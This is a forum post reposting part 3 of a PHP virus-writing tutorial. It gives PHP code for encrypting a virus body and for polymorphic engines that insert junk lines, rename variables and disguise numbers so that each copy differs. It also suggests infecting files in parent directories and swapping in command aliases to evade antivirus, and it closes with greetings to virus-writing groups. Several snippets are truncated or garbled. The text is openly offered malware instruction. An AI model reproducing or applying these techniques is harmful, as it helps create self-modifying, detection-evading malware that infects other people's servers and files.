Prva Gimnazija Zagreb Forum
Pozdrav,latinski riječnik update+povijest update!

Display results as :

Rechercher Advanced Search

Broj posjeta:

PHP Virus Writing Guide part 3

Go down

PHP Virus Writing Guide part 3

Postaj  zekton on pet tra 17, 2009 1:00 am


- - - - - - - - - - - - - [ Encryption Example - Type II ] - - - - - - - - - - - - -
fwrite($aa, $content);

function cr($a,$b,$c)
if ($c==1) { return(chr($a+$b)); }
if ($c==2) { return(chr($a-$b)); }
if ($c==3) { return(chr($a/$b)); }
- - - - - - - - - - - - - [ Encryption Example - Type II ] - - - - - - - - - - - - -

Well, you should have understand what I meant, when you looked at the code.
I'll show you, what it does exacly. The encrypt code is a secret message
again Smile

--> Every sign is a call to the function with 3 values. The first and the second
value are the numbers, the third value is just the information, which
calculation the function will have to do (+,-,/), something like the key.

--> After getting every sign, the code will do the same as the code above.

c) Useing changed character string

This technique is a well-known one in script languages. For instands jackie
did it in Javascript. Therefore I thought that it should also be able make it
in PHP. And as you can see, it was able. The technique works as follow: The
(virus-) code is encrypt in a variable. It's encrypt via adding 3 (the key) to
the ASCII of every character. Should be easy to understand. Now let's look
at the example I made:

- - - - - - - - - - - - - [ Encryption Example - Type III ] - - - - - - - - - - - - -
$i=0; $content='';
fwrite($aa, $content);
- - - - - - - - - - - - - [ Encryption Example - Type III ] - - - - - - - - - - - - -

The encrypt variable-content contains the code of a PHP file writing a message to
the screen. The rest works as always: Makeing a new file, and overwrite them with
the decrypt code, execute the file, and delete it. How the en/decryption works I'll
show you:

--> Changes ever character of the encrypt string to ASCII numbers (via 'ord()')

--> Decreases the number with the key (which is 3 in this sample)

--> Changes the number back to characters (via 'chr()'), and you got the real string.

3) Polymorphism

As everybody knows, this is one of the most important techniques to fake AVs
and to show, that you know, what you're doing Smile. So I desided also to write
something about this technique here. In fact, I've never seen any other poly
PHP virus around the world (maybe it exists anyway). It was really easy for
me to write some poly-engines, because PHP isn't a really difficult language.
I tried my best to show you, how a PHP poly engine could work.

a) Adding Trash

This technique is a well-known in many script languages. Therefor I tought, it
should also be possible in PHP. Then I sat down, and began to write. About 2h
later (with smoking-breaks, sure :D), I had the finished code. First I want
to tell you, what kind of trash/junk/garbage I included in my example:

- // shsdfjksfdjfds

- $kasjkh=192847832;

- $lwekjcmws='iwsdkjhfskjbnla';

Well, now we know, what to include. Anything else to do? Sure, we have to delete
the trash again, oterhwise the file would have 2MB after the 10th time you run it,
and I think, you don't want that. Smile So, how to delete trash? In my example I searched
the first letter of a line, and checked, if it's a '/' or a $'. If yes, it's trash
and we don't have to include it to our new code. It seems I explained everthing.
Now let's have a look at the code:

- - - - - - - - - - - - - - - [ Adding Trash example ] - - - - - - - - - - - - - - -
$string=strtok(fread(fopen(__FILE__,'r'), filesize(__FILE__)),chr(13).chr(10));
while ($string && $string!='?>') {
if(rand(0,1)) {
if (rand(0,1)) { $newcont.='// '.trash('').chr(13).chr(10); }
if (rand(0,1)) { $newcont.='$'.trash('').'='.chr(39).trash('').chr(39).';'.chr(13).chr(10); }
if (rand(0,1)) { $newcont.='$'.trash('').'='.rand().';'.chr(13).chr(10); }
if ($string{0}!='/' && $string{0}!='$') { $newcont.=$string.chr(13).chr(10); }
fwrite(fopen(__FILE__, 'w'),$newcont);

function trash($var) {
do { $var.=chr(rand(97,122)); } while (rand(0,7));
return $var;
- - - - - - - - - - - - - - - [ Adding Trash example ] - - - - - - - - - - - - - - -

Everthing should be clear now, anyway, I'll tell you the most important things in this

--> It splits the whole filecontent of the virus ('__FILE__', as it's called in PHP)
to lines (chr(13).chr(10)).

--> One in two, if the last line wasn't a trash, it adds a trashline.

--> If the last line was no trashline, it adds the line to the new content

--> It writes the new content to the file

b) Variable Changing

This is another well-known script technique to morph the virus. So I did it again in PHP.
Let's explain the technique. You're useing many varibles in a virus, and if the variables
have the same name every generation, our friends the AV-guys are able to use this fact to
detect the virus. So it could be of much value to change the variable-names. How I did it?
I used an array with all my varibale, which i'm using. Than I searched for every value from
the array in the virus-file (=i searched for every variable), and replaced it via the command
'str_replace' and used a new one, which got by my 'trash-function'. Now let's look at the
source of the example:

- - - - - - - - - - - - - - - [ Variable changing example ] - - - - - - - - - - - - - - -
$changevars=array('changevars', 'content', 'newvars', 'counti','countj', 'trash');
while($changevars[$counti]) {
$content=str_replace($changevars[++$counti], trash('',0), $content);

function trash($newvar, $countj) {
do { $newvar.=chr(rand(97,122)); } while (++$countj return $newvar;
- - - - - - - - - - - - - - - [ Variable changing example ] - - - - - - - - - - - - - - -

Easy code, easy to understand. Anyway, let me tell you, how it exactly works:

--> Makes a new array with all variables and function-names

--> Gets the whole content of the virus-file

--> Replaces every element of the array in the content, and use a new one.

--> Writes the content back to the file

c) Number Changing

Every code contains any numbers, whatever this number does. After thinking a little bit
I found out, that I can change the numbers too. So I desited to make a PHP code, which
changes the numbers in it's code. How can we change a number, you may think. It's really
easy: You make a calculation with that number, which returns the number you want.
Let's have a look at the possible variants:

--> 10=(12-2)

--> 10=(8+2)

--> 10=(80/Cool

I also tried to use div, but there are comma-numbers, which don't really work. But it's no
problem, there are enought variants with just 3 calculation types. Now I'll show you, how a
number could be after the 4th morphing:

--> 10=((((1289-9)/(6+2))/((15+5)-(4+6)))-(((252/6)/(7-1))-((4+3)-(30/5))))

Now I hope, that you know about the damn cool results of this technique Smile
After explaining the main-thing, I'll show you the little code, who changes the numbers.

- - - - - - - - - - - - - - - [ Number Changing example ] - - - - - - - - - - - - - - -
$count=-1; $number='';
while(++$count if (ord($newcont{$count})>47 && ord($newcont{$count})<58) {
while(ord($newcont{++$count})>47 && ord($newcont{$count})<58) { $number.=$newcont{$count}; }
switch(rand(1,3)) {
case 1:
$cont.='('.($number-$remn).'+'.$remn.')'; break;
case 2:
$cont.='('.($number+$remn).'-'.$remn.')'; break;
case 3:
$cont.='('.($number*$remn).'/'.$remn.')'; break;
- - - - - - - - - - - - - - - [ Number Changing example ] - - - - - - - - - - - - - - -

Now a shourt explanation about the code:

--> Reads everything from the file

--> Searchs for a number in every sign [sign>chr(47) && sign
--> Reads the rest of the number

--> makes a new calculation with that number

--> Writes the new content to the file

4) Other thoughts

When I wrote this article, some other ideas came to my mind, therefore
I also what to give the ideas to you. Maybe that some of the ideas are
just non-sense or other are brilliant (I don't think so, but wonder happens
:D ). OK, let's start: This part contains ideas for better hideing to don't
become detected, or how to spread faster. I hope, you also like to read this!

a) Find more files

What must we do if we want to find more files? Search in more directories. Smile
My idea is this one: Since the command 'getcwd()' returns the current dir,
we are able to infect also every root-directory. How to do this? Look at the
return-value of 'getcwd()':

--> E:\SPTH\Programme\minixampp\htdocs

Now we have 4 directories, which aren't infected so far:

~~ E:\SPTH\Programme\minixampp
~~ E:\SPTH\Programme
~~ E:\SPTH
~~ E:\

And how to get the directories? Just searchs for a '\' in the current dir, than
delete character by character, till you have a '\'. Than you have the directory-
name. The rest is easy: Open it via 'opendir()', and do the same as I tried to
explain you Smile

b) Changing the commands

Maybe you already know it, but PHP contains tons of aliases for different commands
and we can use that. I'm sure you know how Smile Just replace one command with another,
which is doing the same. I made a list of commands and it's aliases, to show you,
how much we are able to change. This is just a short list, nevertheless it could
be useful, when you want to make such a polymorphism virus.

chop - rtrim()
close - closedir()
die - exit()
dir - getdir()
doubleval - floatval()
fputs - fwrite()
ini_alter - ini_set()
is_double - is_float()
is_integer - is_int()
is_long - is_int()
is_real - is_float()
is_writeable - is_writable()
join - implode()
magic_quotes_runtime - set_magic_quotes_runtime()
pos - current()
rewind - rewinddir()
show_source - highlight_file()
sizeof - count()
strchr - strstr()

Get the full list of aliases here:

5) Last Words

Comming to an end I want to say that I had really much fun while discovering this language,
and I also hope, that you learned some things. I hope, that I will see many new and good PHP
maleware in near future. If I don't see any, I know, that I worked 2-3 month for nothing. Smile
But let's see it positiv: Now it's easy to write strong viruses for this language, because
the techniques are already discovered. Here at this point I want to thank MaskBits/VXI for
making the first PHP maleware called PHP.Pirus, which were released in 29a#5. This inspired
me in writing this article, because I found out, that the current PHP viruses are not at
the point where you can say: "It's perfect, we can't make it better." Smile. Another guy I want
to thank is SnakeByte, because of his articles about Perl poly/EPO/encryption in 29a#6. It
helped me in some parts of this article. Greets goes also to Kefi, who wrote also a PHP-poly-
morphic virus, which I haven't seen so far. The fact that I know that made me very activ in
writing this article Smile. Now I want to send some greets and thanks out to the world, because
I think that I said everything, what is important:
PhileT0aster and the rest of the rRlf-gang Wink, jackie for being something like an idol for me,
SlageHammer & Knowdeth - the most friendly VX guys i know Smile, VirusBuster - for answering my
stupid questions every time, Vorgon - for trying to teach me assembler :D, Toro - for helping
me with many problems, SnakeByte for the great tutorials you wrote, SAD1c - for beeing a great
guy, VorteX & Worf for being the first guys who helped in the VX-world Smile, VxF & Metal for
the great fun in IRC Smile, Doctor Rave for some great ideas you gave me, prizzy for the nice email
you wrote, herm1t for hosting my homepage, sinocred for hateing the ' hi' :D, PanoiX for
being a cool guy Smile, Arzy for being very helpful :D, Necronomikon & Gigabyte for cool talks in
IRC (unfortunatly we have nearly no contact recently) and many other cool individuals I know... Smile
I also want to send out some group greets: Greets to rRlf (of course :D), 29A, iKx, SLAM, TKT,
MIONS, Whackerz and every other more or less activ virus-writing-group!

Broj postova : 65
Join date : 15.02.2009

Korisnički profil

[Vrh] Go down


Permissions in this forum:
Ne moľeą odgovarati na postove.